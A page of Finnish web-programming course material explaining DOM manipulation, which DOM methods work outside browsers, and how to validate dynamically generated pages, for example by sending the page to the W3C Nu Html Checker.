Käytännössä CDATA tulee vastaan silloin, kun XHTML-sivun sisään kirjoitetaan script- tai style-lohko: XML-jäsennin tulkitsisi niiden sisällä olevat <- ja &-merkit rakenteeksi. Yksinkertaisin ratkaisu on olla kirjoittamatta koodia sivun sisään ja laittaa se erilliseen tiedostoon — silloin CDATA-lohkoja ei tarvita lainkaan.
Huomioitavaa
- DOM:in käsittely on osittain "live": jos käyt läpi elävää kokoelmaa ja poistat siitä alkioita, läpikäytävä joukko muuttuu kesken kaiken. Katso Elävä vai staattinen.
- Solmun siirtäminen tapahtuu hakemalla haluttu solmu ja liittämällä se toisen solmun lapseksi. Normaalisti solmuista ei tule kopioita vaan olioreferenssit liikkuvat vain vanhempielementiltä toiselle. Jos haluat kopion, käytä cloneNode(true)-metodia.
- Teksti ei ole normaalin elementtisolmun ominaisuus vaan elementin sisällä on usein Text-tyyppinen solmu, jonka tekstisisällön saa nodeValue-ominaisuudesta. Koko elementin tekstisisällön saa textContent-ominaisuudesta.
- Lomake-elementtien arvot luetaan value-ominaisuudesta, ei value-attribuutista. Katso Datan liittäminen elementtiin.
- Puun läpikäyminen vaatii usein rekursiota.
- Helpoin tapa saada tietty elementti on antaa sille id-arvo ja pyytää sitä document.getElementById-metodilla.
- Kokoelman läpikäyntiin sopii for..of-silmukka. Yksittäisen alkion saa myös hakasulkeilla tai item(i)-metodilla.
- Helpoin tapa tyhjentää elementti on element.replaceChildren(). Myös element.textContent = "" toimii.
- querySelector ja querySelectorAll voivat tietyissä tilanteissa toimia vähän eri tavalla kuin kuvittelemme. Katso Kaksi sudenkuoppaa.
Mikä toimii vain selaimessa
Kurssin materiaaleissa käytetään pääasiassa yleisiä DOM-rajapinnan metodeja. Tämä tarkoittaa, että samat metodit toimivat muuallakin kuin selainympäristössä. Voisit esimerkiksi kirjoittaa python-ohjelman, joka käsittelee XML-tiedostoja, ja käytössäsi olisivat tismalleen samat metodit.
Kaikki ei kuitenkaan ole yleistä DOM:ia. Alla oleva ryhmittely on käytännöllinen eikä standardikohtainen: se kertoo, mitä yleiskäyttöiset XML-kirjastot kuten libxml2 tyypillisesti tukevat ja mitä eivät. Tarkka tuki vaihtelee kirjastoittain ja versioittain.
1. Ydin-DOM — toimii myös muualla
Nämä löytyvät myös libxml2:sta ja vastaavista XML-kirjastoista, esimerkiksi Pythonin xml.dom.minidom-moduulista:
- Luokat Node, Document, Element, Text, DocumentFragment, NodeList
- parentNode, childNodes, firstChild, lastChild, nextSibling, previousSibling
- nodeName, nodeType, nodeValue
- documentElement
- createElement(), createTextNode(), createDocumentFragment()
- appendChild(), insertBefore(), removeChild(), replaceChild(), cloneNode(), hasChildNodes()
- getElementsByTagName()
- getAttribute(), setAttribute(), hasAttribute(), removeAttribute()
2. Moderni DOM — vaihteleva tuki muualla
Nämä kuuluvat DOM-standardiin mutta ovat sen uudempia osia. Selaimissa ne ovat kaikki käytettävissä; XML-kirjastoista ne usein puuttuvat tai vaativat lisäosan. Esimerkiksi css-valitsimet vaativat Pythonissa erillisen cssselect-paketin.
- textContent
- children, firstElementChild, lastElementChild, nextElementSibling, previousElementSibling
- querySelector(), querySelectorAll(), closest(), matches()
- append(), prepend(), before(), after(), replaceWith(), replaceChildren(), remove()
- classList
- getElementById() — vaatii XML-puolella, että jäsennin tietää mikä attribuutti on tyyppiä ID
- addEventListener(), removeEventListener() — tapahtumia ei yleensä ole XML-kirjastoissa lainkaan
3. Vain selaimessa
Nämä ovat HTML-kohtaisia tai selainympäristön rajapintoja. Ne eivät toimi XML-kirjastoissa lainkaan:
- window kokonaisuudessaan: localStorage, sessionStorage, alert(), confirm(), prompt(), getComputedStyle(), requestAnimationFrame(), location, history, navigator
- document.body, document.title, document.URL, document.forms, document.cookie
- getElementsByClassName() ja HTMLCollection
- className, dataset, style, clientWidth, clientHeight
- innerHTML, outerHTML, insertAdjacentHTML() — näitä ei pidä käyttää muutenkaan
- Kaikki HTML*Element-rajapinnat ja niiden ominaisuudet, esimerkiksi lomakekentän value
Selainten HTML-rajapinnat
Selainympäristössä on sisäänrakennettuna useita lisäominaisuuksia, joista osaa voi myös käyttää. Näistä voi olla paljonkin apua:
- HTMLElement
- HTMLInputElement
- HTMLDialogElement
- HTMLFormElement
- HTMLImageElement ja ImageData
- HTMLTableElement: rows, caption, insertRow(), deleteRow()
- ValidityState
Dynaamisesti tuotetun sivun tarkistaminen
Tavallinen validointi näkee vain staattisen lähdekoodin. Kun javascript-koodisi muokkaa sivua, validaattori ei näe siitä mitään — eikä mikään estä ohjelmaa tuottamasta rikkinäistä rakennetta. Tämä on juuri se tilanne, jossa virheet oikeasti syntyvät.
Tapa 1: kopioi nykyinen DOM
Aja ohjelmaasi siihen tilanteeseen, jonka haluat tarkistaa. Avaa sitten kehittäjätyökalujen Inspector, klikkaa html-elementtiä hiiren oikealla ja valitse Copy → Outer HTML. Liitä tulos validaattorin tekstikenttään.
Sama onnistuu konsolista:
copy(document.documentElement.outerHTML); // vie leikepöydälle
copy() on konsolin oma apufunktio, ei osa javascript-kieltä.
Tapa 2: validoi ohjelmasta käsin
Nu Html Checkerilla on rajapinta, jolle voi lähettää dokumentin ja saada virheet takaisin JSON-muodossa:
async function validoi() {
const lahde = "<!DOCTYPE html>\n" + document.documentElement.outerHTML;
try {
const vastaus = await fetch("https://validator.w3.org/nu/?out=json", {
method: "POST",
headers: { "Content-Type": "text/html; charset=utf-8" },
body: lahde
});
const tulos = await vastaus.json();
if (tulos.messages.length === 0) {
console.log("%cValidointi OK", "color: green");
return;
}
console.table(tulos.messages.map(m => ({
tyyppi: m.type,
rivi: m.lastLine,
viesti: m.message
})));
}
catch (virhe) {
console.error("Validointi ei onnistunut:", virhe.message);
}
}
Älä kutsu tätä silmukassa tai jokaisen näppäinpainalluksen jälkeen. Kyseessä on W3C:n ilmainen julkinen palvelu.
Tapa 3: kurssin valmiit skriptit
Kurssilla on valmiina kaksi apuskriptiä: validator.user.js ja htmlinspector.user.js. Ne voi liittää suoraan omaan sivuunsa tai asentaa selaimeen käyttäjäskripteinä. Katso tarkemmat ohjeet työkalusivulta.
<script src="https://appro.mit.jyu.fi/tools/validator/validator.user.js"
defer="defer"></script>
Validate();
Käyttäjien kommentit